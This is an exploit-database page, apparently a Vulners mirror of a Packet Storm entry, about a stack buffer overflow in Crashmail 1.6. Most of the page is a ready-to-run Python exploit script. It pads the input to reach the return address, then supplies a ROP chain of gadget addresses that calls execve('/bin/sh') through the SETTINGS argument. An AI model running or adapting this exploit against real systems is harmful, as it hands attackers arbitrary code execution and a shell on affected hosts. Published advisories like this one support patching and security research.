Lucene search
K

Crashmail 1.6 Buffer Overflow

🗓️ 20 Mar 2018 00:00:00Reported by Juan SaccoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Crashmail 1.6 Buffer Overflow due to inadequate boundary checks on user input. Attackers can execute arbitrary code in the application context. Failed exploit attempts may result in a denial-of-service condition. Website: http://exploitpack.co

Code
`# Exploit author: Juan Sacco <[email protected]>  
# Website: http://exploitpack.com  
#  
# Description: Crashmail is prone to a stack-based buffer overflow  
because the application fails to perform adequate boundary checks on  
user supplied input.  
# Impact: An attacker could exploit this vulnerability to execute  
arbitrary code in the context of the application. Failed exploit  
attempts may result in a denial-of-service condition.  
# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html  
# Affected version: 1.6 ( Latest )  
  
import os, subprocess  
from struct import pack  
  
p = lambda x : pack('I', x)  
IMAGE_BASE_0 = 0x08048000 # ./crashmail  
rebase_0 = lambda x : p(x + IMAGE_BASE_0)  
  
# Control of EIP at 216  
# ROP chain: execve ( binsh )  
# Static-linked  
junk = 'A'*216 # Fill  
ropchain = rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;  
ropchain += '//bi'  
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;  
ropchain += rebase_0(0x000e9060)  
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;  
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;  
ropchain += 'n/sh'  
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;  
ropchain += rebase_0(0x000e9064)  
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;  
ropchain += rebase_0(0x000391a0) # 0x080811a0: xor eax, eax; ret;  
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;  
ropchain += rebase_0(0x000e9068)  
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;  
ropchain += rebase_0(0x000001f9) # 0x080481f9: pop ebx; ret;  
ropchain += rebase_0(0x000e9060)  
ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc  
al, 0x41; ret;  
ropchain += rebase_0(0x000e9068)  
ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;  
ropchain += rebase_0(0x000e9068)  
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;  
ropchain += p(0xfffffff5)  
ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;  
ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;  
evil_buffer = junk + ropchain  
  
print "[*] Exploit Pack http://exploitpack.com - Author: [email protected]"  
print "[*] Crashmail 1.6 - BoF ( ROP execve)"  
print "[?] Payload can be read trough a file or STDIN"  
  
try:  
subprocess.call(["./crashmail","SETTINGS", evil_buffer])  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "[!] Crashmail not found"  
else:  
print "[*] Error executing exploit"  
raise  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation